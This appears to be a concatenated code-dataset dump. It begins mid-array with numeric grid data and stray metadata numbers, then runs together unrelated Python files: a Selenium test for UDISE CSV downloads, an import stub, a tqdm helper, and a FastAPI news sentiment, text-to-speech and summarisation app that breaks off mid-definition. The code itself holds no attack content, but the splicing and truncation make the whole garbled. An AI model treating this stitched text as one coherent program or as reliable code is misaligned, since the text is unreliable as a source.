0,0,0,0,0,0,0,0],[1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0],[1,0,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0],[1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0],[1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]] ] outputs = [1, 2, 1, 1, 1, 3, 1, 3, 2, 1, 1, 1, 1, 4, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 4, 1, 1, 1, 1, 2, 1, 7, 5, 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8, 1, 1, 1, 1, 1, 1, 14, 1, 1, 4, 1, 6, 1, 1, 1, 3, 1, 1, 9, 1, 1]
1,308.051282
7,326
0.483622
49,330
102,028
1.000264
0.000284
1.244797
1.781894
2.27777
0.999311
0.998946
0.998602
0.998602
0.998439
0.998237
0
0.485546
0.004224
102,028
77
7,327
1,325.038961
0.000128
0.00002
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
1
null
1
1
1
1
1
1
1
1
1
0
1
0
0
0
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
14
a27da8806057a7a02ed8fa821e50e51f310f7e8b
13,919
py
Python
tests/src/UDISE/check_indices_with_download_functionality.py
JalajaTR/cQube
6bf58ab25f0c36709630987ab730bbd5d9192c03
[ "MIT" ]
null
null
null
tests/src/UDISE/check_indices_with_download_functionality.py
JalajaTR/cQube
6bf58ab25f0c36709630987ab730bbd5d9192c03
[ "MIT" ]
null
null
null
tests/src/UDISE/check_indices_with_download_functionality.py
JalajaTR/cQube
6bf58ab25f0c36709630987ab730bbd5d9192c03
[ "MIT" ]
null
null
null
import csv import os import time from selenium.webdriver.support.select import Select from filenames import file_extention from get_dir import pwd from reuse_func import GetData class udiseindices_scores(): def __init__(self,driver): self.driver = driver def infrastructure_score(self): self.cal = GetData() self.fname = file_extention() self.driver.find_element_by_css_selector('p >span').click() self.cal.page_loading(self.driver) chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(1) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("infrastructure_score is selected and csv file is downloaded") return row_count-1 def administation(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(2) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("Administration is selected and csv file is downloaded") return row_count - 1 def artslab(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(3) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("artslab is selected and csv file is downloaded") return row_count - 1 def community(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(4) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("Community is selected and csv file is downloaded") return row_count - 1 def Enrollment(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(5) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("Enrollment is selected and csv file is downloaded") return row_count - 1 def grant_expenditure(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(6) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("Grant expenditure is selected and csv file is downloaded") return row_count - 1 def ictlab(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(7) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("ICTlab is selected and csv file is downloaded") return row_count - 1 def Medical(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(8) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("Medical is selected and csv file is downloaded") return row_count - 1 def nsqf(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(9) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("nsqf is selected and csv file is downloaded") return row_count - 1 def policy(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(10) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("Policy is selected and csv file is downloaded") return row_count - 1 def Safety(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(11) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("Safety is selected and csv file is downloaded") return row_count - 1 def School_infrastructure(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(12) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("School infrastructure is selected and csv file is downloaded") return row_count - 1 def School_inspection(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(13) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("school inspection is selected and csv file is downloaded") return row_count - 1 def School_perfomance(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(14) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("School performance is selected and csv file is downloaded") return row_count - 1 def Science_lab(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(15) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("Science lab is selected and csv file is downloaded") return row_count - 1 def Teacher_profile(self): chooseinfra = Select(self.driver.find_element_by_id('choose_infra')) chooseinfra.select_by_index(16) self.cal.page_loading(self.driver) self.driver.find_element_by_id('download').click() time.sleep(2) p = pwd() self.filename = p.get_download_dir() + "/" + self.fname.udise_district() time.sleep(2) file = os.path.isfile(self.filename) if True != file: print('csv file not downloaded') else: row_count = 0 with open(self.filename, 'rt')as f: reader = csv.reader(f) data = list(reader) row = len(data) row_count = row print("Teachers profile is selected and csv file is downloaded") return row_count - 1 def remove_csv(self): os.remove(self.filename)
37.316354
81
0.563618
1,699
13,919
4.453208
0.065333
0.068729
0.061063
0.091594
0.913957
0.910917
0.907216
0.907216
0.907216
0.907216
0
0.009328
0.329909
13,919
372
82
37.416667
0.801866
0
0
0.821023
0
0
0.112293
0
0
0
0
0
0
1
0.051136
false
0
0.019886
0
0.119318
0.090909
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a282992b4b44415ffe1f096e9be473fa702af5be
110
py
Python
app/database/base.py
DaniRicher/aplicacion
76f6670246d3fb4c9b46d6cd28bcb3ccf2c10fb2
[ "Apache-2.0" ]
null
null
null
app/database/base.py
DaniRicher/aplicacion
76f6670246d3fb4c9b46d6cd28bcb3ccf2c10fb2
[ "Apache-2.0" ]
null
null
null
app/database/base.py
DaniRicher/aplicacion
76f6670246d3fb4c9b46d6cd28bcb3ccf2c10fb2
[ "Apache-2.0" ]
null
null
null
from app.database.base_class import Base from app.models.place import Place from app.models.user import User
36.666667
41
0.827273
19
110
4.736842
0.473684
0.233333
0.288889
0
0
0
0
0
0
0
0
0
0.118182
110
3
42
36.666667
0.927835
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
a292282d626211de5b19e04b8a41625cad9aecba
183
py
Python
alr/utils/progress_bar.py
jiahfong/alr
ee561c545bd98ec17c4f9c3040ef23b0222ef71a
[ "MIT" ]
2
2020-09-20T18:06:35.000Z
2021-02-03T07:52:58.000Z
alr/utils/progress_bar.py
jiahfong/alr
ee561c545bd98ec17c4f9c3040ef23b0222ef71a
[ "MIT" ]
null
null
null
alr/utils/progress_bar.py
jiahfong/alr
ee561c545bd98ec17c4f9c3040ef23b0222ef71a
[ "MIT" ]
null
null
null
from tqdm.auto import tqdm, trange def range_progress_bar(*args, **kwargs): return trange(*args, **kwargs) def progress_bar(*args, **kwargs): return tqdm(*args, **kwargs)
18.3
40
0.688525
25
183
4.92
0.48
0.325203
0.243902
0.341463
0.439024
0
0
0
0
0
0
0
0.15847
183
9
41
20.333333
0.798701
0
0
0
0
0
0
0
0
0
0
0
0
1
0.4
true
0
0.2
0.4
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
9
a2fc526a71954e60eba36b123970e1d1e0049a1a
22,215
py
Python
fastapi/app/main.py
kartikkumar7/News-Big-Data-Analysis
3f9a306284a5dca28c033bfec16c69ce4fdd30df
[ "MIT" ]
null
null
null
fastapi/app/main.py
kartikkumar7/News-Big-Data-Analysis
3f9a306284a5dca28c033bfec16c69ce4fdd30df
[ "MIT" ]
null
null
null
fastapi/app/main.py
kartikkumar7/News-Big-Data-Analysis
3f9a306284a5dca28c033bfec16c69ce4fdd30df
[ "MIT" ]
1
2021-12-11T22:57:49.000Z
2021-12-11T22:57:49.000Z
import uvicorn from fastapi import FastAPI, File, UploadFile from starlette.responses import Response from pydantic import BaseModel from google.cloud import storage import spacy import pandas as pd import json from sentiment import process_sentiment from gtts import gTTS import os from transformers import pipeline import prometheus_client from prometheus_client.core import CollectorRegistry from prometheus_client import Summary, Counter, Histogram, Gauge import time from starlette_exporter import PrometheusMiddleware, handle_metrics from prometheus_client import Counter from starlette.responses import RedirectResponse summarizer1 = pipeline("summarization",model="t5-small", tokenizer="t5-small") summarizer2 = pipeline("summarization") # from google.cloud import secretmanager # project_id = "90036660605" # client = secretmanager.SecretManagerServiceClient() # name = f"projects/{project_id}/secrets/app-key/versions/1" # response = client.access_secret_version(name=name) # my_secret_value = response.payload.data.decode("UTF-8") # with open("./app-key.json", 'w') as f: # json.dump(my_secret_value, f) # # def secret_hello(request): # # if "Again" in my_secret_value: # # return "We meet again!\n" # # return "Hello there.\n" # os.environ["GOOGLE_APPLICATION_CREDENTIALS"]="./app-key.json" def parse_dataframe(df): result = df.to_json(orient="records") parsed=json.loads(result) return parsed app = FastAPI( title = "NEW API", description = "API helps analyze news articles" ) app.add_middleware(PrometheusMiddleware) REDIRECT_COUNT = Counter("redirect_total", "Count of redirects", ["redirected_from"]) _INF = float("inf") graphs = {} graphs['count_sentiment'] = Counter('sentiment_requests_count', 'The total number of sentiment analysis requests processed') graphs['sentiment_time'] = Histogram('sentiment_requests_duration', 'Histogram for the sentiment calculation in seconds.', buckets=(1, 2, 5, 6, 10, _INF)) graphs['count_tts'] = Counter('tts_requests_count', 'The total number of text to speech requests processed') graphs['tts_time'] = Histogram('tts_requests_duration', 'Histogram for the text to speech calculation in seconds.', buckets=(15, 30, 60, 120, 300, 360, 420, _INF)) graphs['count_summarizer'] = Counter('summarizer_requests_count', 'The total number of summarization requests processed') graphs['summarizer_time'] = Histogram('summarizer_requests_duration', 'Histogram for the summarization calculation in seconds.', buckets=(15, 30, 60, 120, 300, 360, 420, _INF)) graphs['politics_count'] = Counter('politics_requests_count','The total number of text analysis requests on politics category articles') graphs['world_count'] = Counter('world_requests_count','The total number of text analysis requests on world category articles') graphs['health_count'] = Counter('health_requests_count','The total number of text analysis requests on health category articles') graphs['economy_count'] = Counter('economy_requests_count','The total number of text analysis requests on economy category articles') graphs['us_count'] = Counter('us_requests_count','The total number of text analysis requests on us category articles') graphs['tech_count'] = Counter('tech_requests_count','The total number of text analysis requests on technology category articles') graphs['opinion_count'] = Counter('opinion_requests_count','The total number of text analysis requests on opinion category articles') # class Text(BaseModel): # text: str @app.get("/") def read_root(): return {"message": "Welcome from the API"} # POLITICS @app.get("/politics/{row_id}") def read_politics(row_id: int): df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/politics.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) return {"df": parsed_row} @app.post("/politics/{row_id}/sentiment") def politics_sentiment(row_id: int): start_time = time.time() graphs['count_sentiment'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/politics.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] sentiment_result = process_sentiment(body) end_time = time.time() graphs['sentiment_time'].observe(end_time - start_time) graphs['politics_count'].inc() return {"sentiment": sentiment_result} @app.post("/politics/{row_id}/text-to-speech") def politics_tts(row_id: int): start_time = time.time() graphs['count_tts'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/politics.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] tts = gTTS(body) tts.save(f'./politics_{row_id}.mp3') storage_client = storage.Client() buckets = list(storage_client.list_buckets()) bucket = storage_client.get_bucket("audio-output") blob = bucket.blob(f'politics/{row_id}.mp3') blob.upload_from_filename(f'./politics_{row_id}.mp3') blob.make_public() os.remove(f'./politics_{row_id}.mp3') end_time = time.time() graphs['tts_time'].observe(end_time - start_time) graphs['politics_count'].inc() return {"Save": "Successful"} @app.post("/politics/{row_id}/summarizer") def summarizers(row_id: int): start_time = time.time() graphs['count_summarizer'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/politics.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] if len(body)>=5000: end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) summ1=summarizer1(body, max_length=130, min_length=30, do_sample=False) graphs['politics_count'].inc() return {"summary":summ1} else: summ2=summarizer2(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['politics_count'].inc() return {"summary": summ2} # WORLD @app.get("/world/{row_id}") def read_world(row_id: int): df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/world.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) return {"df": parsed_row} @app.post("/world/{row_id}/sentiment") def world_sentiment(row_id: int): start_time = time.time() graphs['count_sentiment'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/world.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] sentiment_result = process_sentiment(body) end_time = time.time() graphs['sentiment_time'].observe(end_time - start_time) graphs['world_count'].inc() return {"sentiment": sentiment_result} @app.post("/world/{row_id}/text-to-speech") def world_tts(row_id: int): start_time = time.time() graphs['count_tts'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/world.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] tts = gTTS(body) tts.save(f'./world_{row_id}.mp3') storage_client = storage.Client() buckets = list(storage_client.list_buckets()) bucket = storage_client.get_bucket("audio-output") blob = bucket.blob(f'world/{row_id}.mp3') blob.upload_from_filename(f'./world_{row_id}.mp3') blob.make_public() os.remove(f'./world_{row_id}.mp3') end_time = time.time() graphs['tts_time'].observe(end_time - start_time) graphs['world_count'].inc() return {"Save": "Successful"} @app.post("/world/{row_id}/summarizer") def summarizers(row_id: int): start_time = time.time() graphs['count_summarizer'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/world.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] if len(body)>=5000: summ1=summarizer1(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['world_count'].inc() return {"summary":summ1} else: summ2=summarizer2(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['world_count'].inc() return {"summary": summ2} # ECONOMY @app.get("/economy/{row_id}") def read_economy(row_id: int): df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/economy.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) return {"df": parsed_row} @app.post("/economy/{row_id}/sentiment") def economy_sentiment(row_id: int): start_time = time.time() graphs['count_sentiment'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/economy.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] sentiment_result = process_sentiment(body) end_time = time.time() graphs['sentiment_time'].observe(end_time - start_time) graphs['economy_count'].inc() return {"sentiment": sentiment_result} @app.post("/economy/{row_id}/text-to-speech") def 